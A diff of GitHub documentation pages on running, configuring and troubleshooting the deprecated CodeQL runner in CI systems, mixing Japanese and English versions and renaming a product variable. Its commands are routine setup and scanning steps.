これらの例では、適切なスコープを持つ {% data variables.product.prodname_dotcom %} トークンが `$TOKEN` 環境変数に格納され、`stdin` を介して、サンプル コマンドに渡されるか、`$GITHUB_TOKEN` 環境変数に格納されます。
These examples also assume that the {% data variables.product.prodname_codeql_cli %} is placed on the current PATH.
これらの例でチェックアウトおよび分析されている ref 名とコミット SHA は、ワークフロー中に認識されます。 ブランチの場合は、ref として使用 `refs/heads/BRANCH-NAME` します。pull request のヘッド コミットには `refs/pull/NUMBER/head` を使用します。 pull request の {% data variables.product.prodname_dotcom %} で生成されたマージ コミットの場合は、`refs/pull/NUMBER/merge` を使用します。 下記の例では、`refs/heads/main` を使用しています。 別のブランチ名を使用する場合は、サンプル コードを変更する必要があります。
In these examples, a {% data variables.product.prodname_dotcom %} token with suitable scopes is stored in the `$TOKEN` environment variable and passed to the example commands via `stdin`, or is stored in the `$GITHUB_TOKEN` environment variable.
### 単一のコンパイルされていない言語 (JavaScript)
The ref name and commit SHA being checked out and analyzed in these examples are known during the workflow. For a branch, use `refs/heads/BRANCH-NAME` as the ref. For the head commit of a pull request, use `refs/pull/NUMBER/head`. For a {% data variables.product.prodname_dotcom %}-generated merge commit of a pull request, use `refs/pull/NUMBER/merge`. The examples below all use `refs/heads/main`. If you use a different branch name, you must modify the sample code.
ランナー:
### Single non-compiled language (JavaScript)
Runner:
```bash
echo "$TOKEN" | codeql-runner-linux init --repository my-org/example-repo \
--languages javascript \
@@ -87,11 +82,11 @@ echo "$TOKEN" | codeql github upload-results --repository=my-org/example-repo \
--sarif=/temp/example-repo-js.sarif --github-auth-stdin
```
### 別のクエリ スイート (セキュリティと品質) を使用する単一のコンパイルされていない言語 (JavaScript)
### Single non-compiled language (JavaScript) using a different query suite (security-and-quality)
コンパイル済みの言語や複数の言語に対しても、同様の方法を使用できます。
A similar approach can be taken for compiled languages, or multiple languages.
ランナー:
Runner:
```bash
echo "$TOKEN" | codeql-runner-linux init --repository my-org/example-repo \
--languages javascript \
@@ -117,11 +112,11 @@ echo "$TOKEN" | codeql github upload-results --repository=my-org/example-repo \
--sarif=/temp/example-repo-js.sarif --github-auth-stdin
```
### カスタム構成ファイルを使用する単一のコンパイルされていない言語 (JavaScript)
### Single non-compiled language (JavaScript) using a custom configuration file
コンパイル済みの言語や複数の言語に対しても、同様の方法を使用できます。
A similar approach can be taken for compiled languages, or multiple languages.
ランナー:
Runner:
```bash
echo "$TOKEN" | codeql-runner-linux init --repository my-org/example-repo \
--languages javascript \
@@ -148,9 +143,9 @@ echo "$TOKEN" | codeql github upload-results --repository=my-org/example-repo \
--sarif=/temp/example-repo-js.sarif --github-auth-stdin
```
### 自動ビルドを使用する単一のコンパイル済みの言語 (Java)
### Single compiled language using autobuild (Java)
ランナー:
Runner:
```bash
echo "$TOKEN" | codeql-runner-linux init --repository my-org/example-repo \
--languages java \
@@ -182,9 +177,9 @@ echo "$TOKEN" | codeql github upload-results --repository=my-org/example-repo \
--sarif=/temp/example-repo-java.sarif --github-auth-stdin
```
### カスタム ビルド コマンドを使用する単一のコンパイル済みの言語 (Java)
### Single compiled language using a custom build command (Java)
ランナー:
Runner:
```bash
echo "$TOKEN" | codeql-runner-linux init --repository my-org/example-repo \
--languages java \
@@ -215,11 +210,11 @@ echo "$TOKEN" | codeql github upload-results --repository=my-org/example-repo \
--sarif=/temp/example-repo-java.sarif --github-auth-stdin
```
### 間接ビルド トレースを使用する単一のコンパイル済み言語 (Azure DevOps 内のWindows 上の C#)
### Single compiled language using indirect build tracing (C# on Windows within Azure DevOps)
コンパイル済み言語の間接ビルド トレースを使用すると、{% data variables.product.prodname_codeql %} で、オートビルダーまたは明示的なビルド コマンド ラインを使用してコードをビルドできない場合に、`init` `analyze` ステップの間のすべてのビルド ステップを検出できるようになります。 これは、CI システムから、Azure DevOps 内の `VSBuild` `MSBuild` タスクなどの、構成済みのビルド ステップを使用する場合に便利です。
Indirect build tracing for a compiled language enables {% data variables.product.prodname_codeql %} to detect all build steps between the `init` and `analyze` steps, when the code cannot be built using the autobuilder or an explicit build command line. This is useful when using preconfigured build steps from your CI system, such as the `VSBuild` and `MSBuild` tasks in Azure DevOps.
ランナー:
Runner:
```yaml
- task: CmdLine@1
displayName: CodeQL Initialization
@@ -337,12 +332,12 @@ CLI:
```
### 自動ビルドを使用する複数の言語 (C++Python)
### Multiple languages using autobuild (C++, Python)
この例は、{% data variables.product.prodname_codeql_runner %} では厳密には可能ではありません。
分析されるのは、1 つの言語 (ほとんどのファイルを含むコンパイル済みの言語) だけです。
This example is not strictly possible with the {% data variables.code-scanning.codeql_runner %}.
Only one language (the compiled language with the most files) will be analyzed.
ランナー:
Runner:
```bash
echo "$TOKEN" | codeql-runner-linux init --repository my-org/example-repo \
--languages cpp,python \
@@ -380,9 +375,9 @@ for language in cpp python; do
done
```
### カスタム ビルド コマンドを使用する複数の言語 (C++Python)
### Multiple languages using a custom build command (C++, Python)
ランナー:
Runner:
```bash
echo "$TOKEN" | codeql-runner-linux init --repository my-org/example-repo \
--languages cpp,python \

View File

@@ -1,7 +1,7 @@
---
title: Running CodeQL runner in your CI system
shortTitle: Run CodeQL runner
intro: 'You can use the {% data variables.product.prodname_codeql_runner %} to perform {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} in a third-party continuous integration system.'
intro: 'You can use the {% data variables.code-scanning.codeql_runner %} to perform {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} in a third-party continuous integration system.'
product: '{% data reusables.gated-features.code-scanning %}'
redirect_from:
- /github/finding-security-vulnerabilities-and-errors-in-your-code/running-code-scanning-in-your-ci-system
@@ -34,33 +34,33 @@ topics:
{% data reusables.code-scanning.beta %}
{% data reusables.code-scanning.enterprise-enable-code-scanning %}
## About the {% data variables.product.prodname_codeql_runner %}
## About the {% data variables.code-scanning.codeql_runner %}
The {% data variables.product.prodname_codeql_runner %} is a tool you can use to run {% data variables.product.prodname_code_scanning %} on code that you're processing in a third-party continuous integration (CI) system. {% data reusables.code-scanning.about-code-scanning %} For information, see "[About {% data variables.product.prodname_code_scanning %} with {% data variables.product.prodname_codeql %}](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql)."
The {% data variables.code-scanning.codeql_runner %} is a tool you can use to run {% data variables.product.prodname_code_scanning %} on code that you're processing in a third-party continuous integration (CI) system. {% data reusables.code-scanning.about-code-scanning %} For information, see "[About {% data variables.product.prodname_code_scanning %} with {% data variables.product.prodname_codeql %}](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql)."
In many cases it is easier to set up {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} using the {% data variables.product.prodname_codeql_cli %} directly in your CI system.
Alternatively, you can use {% data variables.product.prodname_actions %} to run {% data variables.product.prodname_code_scanning %} within {% data variables.product.product_name %}. For information, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)."
The {% data variables.product.prodname_codeql_runner %} is a command-line tool that runs {% data variables.product.prodname_codeql %} analysis on a checkout of a {% data variables.product.prodname_dotcom %} repository. You add the runner to your third-party system, then call the runner to analyze code and upload the results to {% data variables.product.product_name %}. These results are displayed as {% data variables.product.prodname_code_scanning %} alerts in the repository.
The {% data variables.code-scanning.codeql_runner %} is a command-line tool that runs {% data variables.product.prodname_codeql %} analysis on a checkout of a {% data variables.product.prodname_dotcom %} repository. You add the runner to your third-party system, then call the runner to analyze code and upload the results to {% data variables.product.product_name %}. These results are displayed as {% data variables.product.prodname_code_scanning %} alerts in the repository.
{% note %}
**Note:**
{% ifversion fpt or ghec %}
* The {% data variables.product.prodname_codeql_runner %} uses the {% data variables.product.prodname_codeql %} CLI to analyze code and therefore has the same license conditions. It's free to use on public repositories that are maintained on {% data variables.product.prodname_dotcom_the_website %}, and available to use on private repositories that are owned by customers with an {% data variables.product.prodname_advanced_security %} license. For information, see "[{% data variables.product.product_name %} {% data variables.product.prodname_codeql %} Terms and Conditions](https://securitylab.github.com/tools/codeql/license)" and "[{% data variables.product.prodname_codeql %} CLI](https://codeql.github.com/docs/codeql-cli/)."
* The {% data variables.code-scanning.codeql_runner %} uses the {% data variables.product.prodname_codeql %} CLI to analyze code and therefore has the same license conditions. It's free to use on public repositories that are maintained on {% data variables.product.prodname_dotcom_the_website %}, and available to use on private repositories that are owned by customers with an {% data variables.product.prodname_advanced_security %} license. For information, see "[{% data variables.product.product_name %} {% data variables.product.prodname_codeql %} Terms and Conditions](https://securitylab.github.com/tools/codeql/license)" and "[{% data variables.product.prodname_codeql %} CLI](https://codeql.github.com/docs/codeql-cli/)."
{% else %}
* The {% data variables.product.prodname_codeql_runner %} is available to customers with an {% data variables.product.prodname_advanced_security %} license.
* The {% data variables.code-scanning.codeql_runner %} is available to customers with an {% data variables.product.prodname_advanced_security %} license.
{% endif %}
{% ifversion ghae %}
* The {% data variables.product.prodname_codeql_runner %} shouldn't be confused with the {% data variables.product.prodname_codeql %} CLI. The {% data variables.product.prodname_codeql %} CLI is a command-line interface that lets you create {% data variables.product.prodname_codeql %} databases for security research and run {% data variables.product.prodname_codeql %} queries.
* The {% data variables.code-scanning.codeql_runner %} shouldn't be confused with the {% data variables.product.prodname_codeql %} CLI. The {% data variables.product.prodname_codeql %} CLI is a command-line interface that lets you create {% data variables.product.prodname_codeql %} databases for security research and run {% data variables.product.prodname_codeql %} queries.
For more information, see "[{% data variables.product.prodname_codeql_cli %}](https://codeql.github.com/docs/codeql-cli/)."
{% endif %}
{% endnote %}
## Downloading the {% data variables.product.prodname_codeql_runner %}
## Downloading the {% data variables.code-scanning.codeql_runner %}
You can download the {% data variables.product.prodname_codeql_runner %} from https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/github/codeql-action/releases. On some operating systems, you may need to change permissions for the downloaded file before you can run it.
You can download the {% data variables.code-scanning.codeql_runner %} from https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/github/codeql-action/releases. On some operating systems, you may need to change permissions for the downloaded file before you can run it.
On Linux:
@@ -77,9 +77,9 @@ sudo xattr -d com.apple.quarantine codeql-runner-macos
On Windows, the `codeql-runner-win.exe` file usually requires no change to permissions.
## Adding the {% data variables.product.prodname_codeql_runner %} to your CI system
## Adding the {% data variables.code-scanning.codeql_runner %} to your CI system
Once you download the {% data variables.product.prodname_codeql_runner %} and verify that it can be executed, you should make the runner available to each CI server that you intend to use for {% data variables.product.prodname_code_scanning %}. For example, you might configure each server to copy the runner from a central, internal location. Alternatively, you could use the REST API to get the runner directly from {% data variables.product.prodname_dotcom %}, for example:
Once you download the {% data variables.code-scanning.codeql_runner %} and verify that it can be executed, you should make the runner available to each CI server that you intend to use for {% data variables.product.prodname_code_scanning %}. For example, you might configure each server to copy the runner from a central, internal location. Alternatively, you could use the REST API to get the runner directly from {% data variables.product.prodname_dotcom %}, for example:
```shell
wget https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/github/codeql-action/releases/latest/download/codeql-runner-linux
@@ -88,24 +88,24 @@ chmod +x codeql-runner-linux
In addition to this, each CI server also needs:
- A {% data variables.product.prodname_github_app %} or {% data variables.product.pat_generic %} for the {% data variables.product.prodname_codeql_runner %} to use. You must use an access token with the `repo` scope, or a {% data variables.product.prodname_github_app %} with the `security_events` write permission, and `metadata` and `contents` read permissions. For information, see "[Building {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps)" and "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)."
- Access to the {% data variables.product.prodname_codeql %} bundle associated with this release of the {% data variables.product.prodname_codeql_runner %}. This package contains queries and libraries needed for {% data variables.product.prodname_codeql %} analysis, plus the {% data variables.product.prodname_codeql %} CLI, which is used internally by the runner. For information, see "[{% data variables.product.prodname_codeql %} CLI](https://codeql.github.com/docs/codeql-cli/)."
- A {% data variables.product.prodname_github_app %} or {% data variables.product.pat_generic %} for the {% data variables.code-scanning.codeql_runner %} to use. You must use an access token with the `repo` scope, or a {% data variables.product.prodname_github_app %} with the `security_events` write permission, and `metadata` and `contents` read permissions. For information, see "[Building {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps)" and "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)."
- Access to the {% data variables.product.prodname_codeql %} bundle associated with this release of the {% data variables.code-scanning.codeql_runner %}. This package contains queries and libraries needed for {% data variables.product.prodname_codeql %} analysis, plus the {% data variables.product.prodname_codeql %} CLI, which is used internally by the runner. For information, see "[{% data variables.product.prodname_codeql %} CLI](https://codeql.github.com/docs/codeql-cli/)."
The options for providing access to the {% data variables.product.prodname_codeql %} bundle are:
1. Allow the CI servers access to https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/github/codeql-action so that the {% data variables.product.prodname_codeql_runner %} can download the bundle automatically.
1. Manually download/extract the bundle, store it with other central resources, and use the <nobr>`--codeql-path`</nobr> flag to specify the location of the bundle in calls to initialize the {% data variables.product.prodname_codeql_runner %}.
1. Allow the CI servers access to https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/github/codeql-action so that the {% data variables.code-scanning.codeql_runner %} can download the bundle automatically.
1. Manually download/extract the bundle, store it with other central resources, and use the <nobr>`--codeql-path`</nobr> flag to specify the location of the bundle in calls to initialize the {% data variables.code-scanning.codeql_runner %}.
## Calling the {% data variables.product.prodname_codeql_runner %}
## Calling the {% data variables.code-scanning.codeql_runner %}
You should call the {% data variables.product.prodname_codeql_runner %} from the checkout location of the repository you want to analyze. The two main commands are:
You should call the {% data variables.code-scanning.codeql_runner %} from the checkout location of the repository you want to analyze. The two main commands are:
1. `init` required to initialize the runner and create a {% data variables.product.prodname_codeql %} database for each language to be analyzed. These databases are populated and analyzed by subsequent commands.
1. `analyze` required to populate the {% data variables.product.prodname_codeql %} databases, analyze them, and upload results to {% data variables.product.product_name %}.
For both commands, you must specify the URL of {% data variables.product.product_name %}, the repository *OWNER/NAME*, and the {% data variables.product.prodname_github_apps %} or {% data variables.product.pat_generic %} to use for authentication. You also need to specify the location of the CodeQL bundle, unless the CI server has access to download it directly from the `github/codeql-action` repository.
You can configure where the {% data variables.product.prodname_codeql_runner %} stores the CodeQL bundle for future analysis on a server using the <nobr>`--tools-dir`</nobr> flag and where it stores temporary files during analysis using <nobr>`--temp-dir`</nobr>.
You can configure where the {% data variables.code-scanning.codeql_runner %} stores the CodeQL bundle for future analysis on a server using the <nobr>`--tools-dir`</nobr> flag and where it stores temporary files during analysis using <nobr>`--temp-dir`</nobr>.
To view the command-line reference for the runner, use the `-h` flag. For example, to list all commands run: `codeql-runner-OS -h`, or to list all the flags available for the `init` command run: `codeql-runner-OS init -h` (where `OS` varies according to the executable that you are using). For more information, see "[Configuring {% data variables.product.prodname_code_scanning %} in your CI system](/code-security/secure-coding/configuring-codeql-runner-in-your-ci-system#codeql-runner-command-reference)."
@@ -119,7 +119,7 @@ In this example, the server has access to download the {% data variables.product
1. Check out the repository to analyze.
1. Move into the directory where the repository is checked out.
1. Initialize the {% data variables.product.prodname_codeql_runner %} and create {% data variables.product.prodname_codeql %} databases for the languages detected.
1. Initialize the {% data variables.code-scanning.codeql_runner %} and create {% data variables.product.prodname_codeql %} databases for the languages detected.
```shell
$ echo "$TOKEN" | /path/to-runner/codeql-runner-linux init --repository octo-org/example-repo
@@ -137,7 +137,7 @@ This example is similar to the previous example, however this time the repositor
1. Check out the repository to analyze.
1. Move into the directory where the repository is checked out.
1. Initialize the {% data variables.product.prodname_codeql_runner %} and create {% data variables.product.prodname_codeql %} databases for the languages detected.
1. Initialize the {% data variables.code-scanning.codeql_runner %} and create {% data variables.product.prodname_codeql %} databases for the languages detected.
```shell
$ echo "$TOKEN" | /path/to-runner/codeql-runner-linux init --repository octo-org/example-repo-2
--github-url {% data variables.command_line.git_url_example %} --github-auth-stdin
@@ -154,26 +154,26 @@ This example is similar to the previous example, however this time the repositor
$ . /srv/checkout/example-repo-2/codeql-runner/codeql-env.sh
```
1. Build the code. On macOS, you need to prefix the build command with the environment variable `$CODEQL_RUNNER`. For more information, see "[Troubleshooting {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/troubleshooting-codeql-runner-in-your-ci-system#no-code-found-during-the-build)."
1. Build the code. On macOS, you need to prefix the build command with the environment variable `$CODEQL_RUNNER`. For more information, see "[Troubleshooting {% data variables.code-scanning.codeql_runner %} in your CI system](/code-security/secure-coding/troubleshooting-codeql-runner-in-your-ci-system#no-code-found-during-the-build)."
{% data reusables.code-scanning.codeql-runner-analyze-example %}
{% note %}
**Note:** If you use a containerized build, you need to run the {% data variables.product.prodname_codeql_runner %} in the container where your build task takes place.
**Note:** If you use a containerized build, you need to run the {% data variables.code-scanning.codeql_runner %} in the container where your build task takes place.
{% endnote %}
## Further reading
- "[Configuring {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/configuring-codeql-runner-in-your-ci-system)"
- "[Troubleshooting {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/troubleshooting-codeql-runner-in-your-ci-system)"
- "[Configuring {% data variables.code-scanning.codeql_runner %} in your CI system](/code-security/secure-coding/configuring-codeql-runner-in-your-ci-system)"
- "[Troubleshooting {% data variables.code-scanning.codeql_runner %} in your CI system](/code-security/secure-coding/troubleshooting-codeql-runner-in-your-ci-system)"
{% else %}
## About the {% data variables.product.prodname_codeql_runner %}
## About the {% data variables.code-scanning.codeql_runner %}
The {% data variables.product.prodname_codeql_runner %} has been deprecated. [{% data variables.product.prodname_codeql_cli %}](https://github.com/github/codeql-cli-binaries/releases) version 2.7.6 has complete feature parity.
The {% data variables.code-scanning.codeql_runner %} has been deprecated. [{% data variables.product.prodname_codeql_cli %}](https://github.com/github/codeql-cli-binaries/releases) version 2.7.6 has complete feature parity.
For information on migrating to {% data variables.product.prodname_codeql_cli %}, see "[Migrating from the CodeQL runner to CodeQL CLI](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/migrating-from-the-codeql-runner-to-codeql-cli)."

View File

@@ -1,7 +1,7 @@
---
title: CIシステムでのCodeQLランナーのトラブルシューティング
title: Troubleshooting CodeQL runner in your CI system
shortTitle: Troubleshoot CodeQL runner
intro: '{% data variables.product.prodname_codeql_runner %} で問題が生じている場合、ここに掲載されているヒントを使ってトラブルを解決できます。'
intro: 'If you''re having problems with the {% data variables.code-scanning.codeql_runner %}, you can troubleshoot by using these tips.'
product: '{% data reusables.gated-features.code-scanning %}'
redirect_from:
- /github/finding-security-vulnerabilities-and-errors-in-your-code/troubleshooting-code-scanning-in-your-ci-system
@@ -19,53 +19,51 @@ topics:
- Troubleshooting
- Integration
- CI
ms.openlocfilehash: bd641d59d56a0d0b6ce518d3d2ef41494413b8df
ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
ms.translationtype: HT
ms.contentlocale: ja-JP
ms.lasthandoff: 09/05/2022
ms.locfileid: '145116054'
---
{% data reusables.code-scanning.deprecation-codeql-runner %} {% data reusables.code-scanning.beta %} {% data reusables.code-scanning.not-available %}
## `init` コマンドの所要時間が長すぎる
{% data variables.product.prodname_codeql_runner %} は、コードのビルドと解析を行う前に、{% data variables.product.prodname_codeql %} CLI と {% data variables.product.prodname_codeql %} ライブラリを含んでいる {% data variables.product.prodname_codeql %} バンドルへのアクセス権が必要です。
{% data reusables.code-scanning.deprecation-codeql-runner %}
{% data reusables.code-scanning.beta %}
{% data reusables.code-scanning.not-available %}
お使いのコンピューターで {% data variables.product.prodname_codeql_runner %} を初めて使用する際、`init` コマンドは {% data variables.product.prodname_codeql %} バンドルをコンピューターにダウンロードします。 ダウンロードには数分かかります。
{% data variables.product.prodname_codeql %} バンドルは次の実行の前にキャッシュされるので、{% data variables.product.prodname_codeql_runner %} を同じマシンで再度使用する際は、{% data variables.product.prodname_codeql %} バンドルを再ダウンロードすることはありません。
## The `init` command takes too long
この自動ダウンロードを回避するには、{% data variables.product.prodname_codeql %} バンドルをコンピューターに手動でダウンロードし、`init` コマンドの `--codeql-path` フラグを使用してパスを指定します。
Before the {% data variables.code-scanning.codeql_runner %} can build and analyze code, it needs access to the {% data variables.product.prodname_codeql %} bundle, which contains the {% data variables.product.prodname_codeql %} CLI and the {% data variables.product.prodname_codeql %} libraries.
## ビルド中にコードが見つからない
When you use the {% data variables.code-scanning.codeql_runner %} for the first time on your machine, the `init` command downloads the {% data variables.product.prodname_codeql %} bundle to your machine. This download can take a few minutes.
The {% data variables.product.prodname_codeql %} bundle is cached between runs, so if you use the {% data variables.code-scanning.codeql_runner %} again on the same machine, it won't download the {% data variables.product.prodname_codeql %} bundle again.
{% data variables.product.prodname_codeql_runner %} の `analyze` コマンドがエラー `No source code was seen during the build` で失敗した場合は、{% data variables.product.prodname_codeql %} がコードを監視できなかったことを示します。 このようなエラーが発生する理由として、次のようなものがあります。
To avoid this automatic download, you can manually download the {% data variables.product.prodname_codeql %} bundle to your machine and specify the path using the `--codeql-path` flag of the `init` command.
1. 自動言語検出により、サポートされている言語が特定されたが、リポジトリにその言語の分析可能なコードがない。 一般的な例としては、言語検出サービスが `.h` ファイルや `.gyp` ファイルなどの特定のプログラミング言語に関連付けられたファイルを見つけたが、対応する実行可能コードがリポジトリに存在しない場合です。 この問題を解決するには、`init` コマンドの `--languages` フラグを使用して、分析する言語を手動で定義できます。 詳細については、「[CI システムでの {% data variables.product.prodname_codeql_runner %} の構成](/code-security/secure-coding/configuring-codeql-runner-in-your-ci-system)」を参照してください。
## No code found during the build
1. `autobuild` コマンドを使用せずにコンパイル済み言語を分析していて、`init` ステップの後にビルド ステップを自分で実行します。 ビルドが機能するには、{% data variables.product.prodname_codeql_runner %} がビルドのプロセスをモニターできるように環境をセットアップする必要があります。 `init` コマンドは、必要な環境変数をエクスポートする方法についての説明を生成するので、それをコピーして `init` コマンドの実行後にスクリプトを実行できます。
- macOS および Linux:
If the `analyze` command for the {% data variables.code-scanning.codeql_runner %} fails with an error `No source code was seen during the build`, this indicates that {% data variables.product.prodname_codeql %} was unable to monitor your code. Several reasons can explain such a failure.
1. Automatic language detection identified a supported language, but there is no analyzable code of that language in the repository. A typical example is when our language detection service finds a file associated with a particular programming language like a `.h`, or `.gyp` file, but no corresponding executable code is present in the repository. To solve the problem, you can manually define the languages you want to analyze by using the `--languages` flag of the `init` command. For more information, see "[Configuring {% data variables.code-scanning.codeql_runner %} in your CI system](/code-security/secure-coding/configuring-codeql-runner-in-your-ci-system)."
1. You're analyzing a compiled language without using the `autobuild` command and you run the build steps yourself after the `init` step. For the build to work, you must set up the environment such that the {% data variables.code-scanning.codeql_runner %} can monitor the build process. The `init` command generates instructions for how to export the required environment variables, so you can copy and run the script after you've run the `init` command.
- On macOS and Linux:
```shell
$ . codeql-runner/codeql-env.sh
```
- Windows では、コマンド シェル (`cmd`) またはバッチ ファイル (`.bat`) を使用します。
- On Windows, using the Command shell (`cmd`) or a batch file (`.bat`):
```shell
> call codeql-runner\codeql-env.bat
```
- Windows で、PowerShell を使用する場合:
- On Windows, using PowerShell:
```shell
> cat codeql-runner\codeql-env.sh | Invoke-Expression
```
環境変数もファイル `codeql-runner/codeql-env.json` に格納されます。 このファイルには、環境変数キーを値にマッピングする単一の JSON オブジェクトが含まれています。 `init` コマンドで生成されたスクリプトを実行できない場合、JSON 形式のデータを代わりに使用できます。
The environment variables are also stored in the file `codeql-runner/codeql-env.json`. This file contains a single JSON object which maps environment variable keys to values. If you can't run the script generated by the `init` command, then you can use the data in JSON format instead.
{% note %}
**:** `init` コマンドの `--temp-dir` フラグを使用して一時ファイルのカスタム ディレクトリを指定した場合、`codeql-env` ファイルへのパスが異なる場合があります。
**Note:** If you used the `--temp-dir` flag of the `init` command to specify a custom directory for temporary files, the path to the `codeql-env` files might be different.
{% endnote %}
1. `autobuild` コマンドを使用せずに macOS でコンパイル済み言語を分析していて、`init` ステップの後にビルド ステップを自分で実行します。 SIP (システム整合性保護) が有効になっている場合、解析は失敗することがあります。OSX の最近のバージョンでは、SIP はデフォルトで有効になっています。 修正するには、ビルド コマンドの前に `$CODEQL_RUNNER` 環境変数を付ける必要があります。
たとえば、ビルド コマンドが `cmd arg1 arg2` である場合は、`$CODEQL_RUNNER cmd arg1 arg2` を実行する必要があります。
1. You're analyzing a compiled language on macOS without using the `autobuild` command and you run the build steps yourself after the `init` step. If SIP (System Integrity Protection) is enabled, which is the default on recent versions of OSX, analysis might fail. To fix this, prefix the build command with the `$CODEQL_RUNNER` environment variable.
For example, if your build command is `cmd arg1 arg2`, you should run `$CODEQL_RUNNER cmd arg1 arg2`.
1. コードがコンテナまたは別のマシンでビルドされている。 コンテナ化されたビルドを使用しているか、ビルドを別のマシンに委託している場合は、必ず {% data variables.product.prodname_codeql_runner %} をコンテナまたはビルドタスクを実行するマシンで実行してください。 詳細については、「[Running CodeQL code scanning in a container](/code-security/secure-coding/running-codeql-code-scanning-in-a-container)」(コンテナーでの CodeQL コード スキャンの実行) を参照してください。
1. The code is built in a container or on a separate machine. If you use a containerized build or if you outsource the build to another machine, make sure to run the {% data variables.code-scanning.codeql_runner %} in the container or on the machine where your build task takes place. For more information, see "[Running CodeQL code scanning in a container](/code-security/secure-coding/running-codeql-code-scanning-in-a-container)."

View File

@@ -35,7 +35,7 @@ You can create a default security policy for your organization or personal accou
{% endtip %}
{% ifversion fpt or ghec %}
After someone reports a security vulnerability in your project, you can use {% data variables.product.prodname_security_advisories %} to disclose, fix, and publish information about the vulnerability. For more information about the process of reporting and disclosing vulnerabilities in {% data variables.product.prodname_dotcom %}, see "[About coordinated disclosure of security vulnerabilities](/code-security/security-advisories/about-coordinated-disclosure-of-security-vulnerabilities#about-reporting-and-disclosing-vulnerabilities-in-projects-on-github)." For more information about repository security advisories, see "[About repository security advisories](/github/managing-security-vulnerabilities/about-github-security-advisories)."
After someone reports a security vulnerability in your project, you can use {% data variables.product.prodname_security_advisories %} to disclose, fix, and publish information about the vulnerability. For more information about the process of reporting and disclosing vulnerabilities in {% data variables.product.prodname_dotcom %}, see "[About coordinated disclosure of security vulnerabilities](/code-security/security-advisories/guidance-on-reporting-and-writing/about-coordinated-disclosure-of-security-vulnerabilities#about-reporting-and-disclosing-vulnerabilities-in-projects-on-github)." For more information about repository security advisories, see "[About repository security advisories](/github/managing-security-vulnerabilities/about-github-security-advisories)."
{% data reusables.repositories.github-security-lab %}
{% endif %}

View File

@@ -61,7 +61,7 @@ You can find the dependency graph on the **Insights** tab for your repository. F
{% ifversion security-overview-displayed-alerts %}
### Security overview
The security overview allows you to review security configurations and alerts, making it easy to identify the repositories and organizations at greatest risk. For more information, see "[About the security overview](/code-security/security-overview/about-the-security-overview)."
The security overview allows you to review security configurations and alerts, making it easy to identify the repositories and organizations at greatest risk. For more information, see "[About security overviews](/code-security/security-overview/about-the-security-overview)."
{% else %}
### Security overview for repositories
@@ -114,7 +114,7 @@ Show the full impact of changes to dependencies and see details of any vulnerabl
{% else %}
### Security overview for organizations{% ifversion ghes > 3.4 or ghae > 3.4 %}, enterprises,{% endif %} and teams
Review the security configuration and alerts for your organization and identify the repositories at greatest risk. For more information, see "[About the security overview](/code-security/security-overview/about-the-security-overview)."
Review the security configuration and alerts for your organization and identify the repositories at greatest risk. For more information, see "[About security overviews](/code-security/security-overview/about-the-security-overview)."
{% endif %}
## Further reading

View File

@@ -128,7 +128,7 @@ You can view and manage alerts from security features to address dependencies an
{% ifversion fpt or ghec %}If you have a security vulnerability, you can create a security advisory to privately discuss and fix the vulnerability. For more information, see "[About repository security advisories](/code-security/security-advisories/about-github-security-advisories)" and "[Creating a security advisory](/code-security/security-advisories/creating-a-security-advisory)."
{% endif %}
{% ifversion ghes or ghec or ghae %}You{% elsif fpt %}Organizations that use {% data variables.product.prodname_ghe_cloud %}{% endif %} can view, filter, and sort security alerts for repositories owned by {% ifversion ghes or ghec or ghae %}your{% elsif fpt %}their{% endif %} organization in the security overview. For more information, see{% ifversion ghes or ghec or ghae %} "[About the security overview](/code-security/security-overview/about-the-security-overview)."{% elsif fpt %} "[About the security overview](/enterprise-cloud@latest/code-security/security-overview/about-the-security-overview)" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% endif %}
{% ifversion ghes or ghec or ghae %}You{% elsif fpt %}Organizations that use {% data variables.product.prodname_ghe_cloud %}{% endif %} can view, filter, and sort security alerts for repositories owned by {% ifversion ghes or ghec or ghae %}your{% elsif fpt %}their{% endif %} organization in the security overview. For more information, see{% ifversion ghes or ghec or ghae %} "[About security overviews](/code-security/security-overview/about-the-security-overview)."{% elsif fpt %} "[About security overviews](/enterprise-cloud@latest/code-security/security-overview/about-the-security-overview)" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% endif %}
{% ifversion ghec %}
## Further reading

View File

@@ -116,7 +116,7 @@ To enable {% data variables.product.prodname_dependabot_version_updates %}, you
## Configuring {% data variables.product.prodname_code_scanning %}
You can set up {% data variables.product.prodname_code_scanning %} to automatically identify vulnerabilities and errors in the code stored in your repository by using a {% data variables.product.prodname_codeql_workflow %} or third-party tool. For more information, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)."
You can set up {% data variables.product.prodname_code_scanning %} to automatically identify vulnerabilities and errors in the code stored in your repository by using a {% data variables.code-scanning.codeql_workflow %} or third-party tool. For more information, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)."
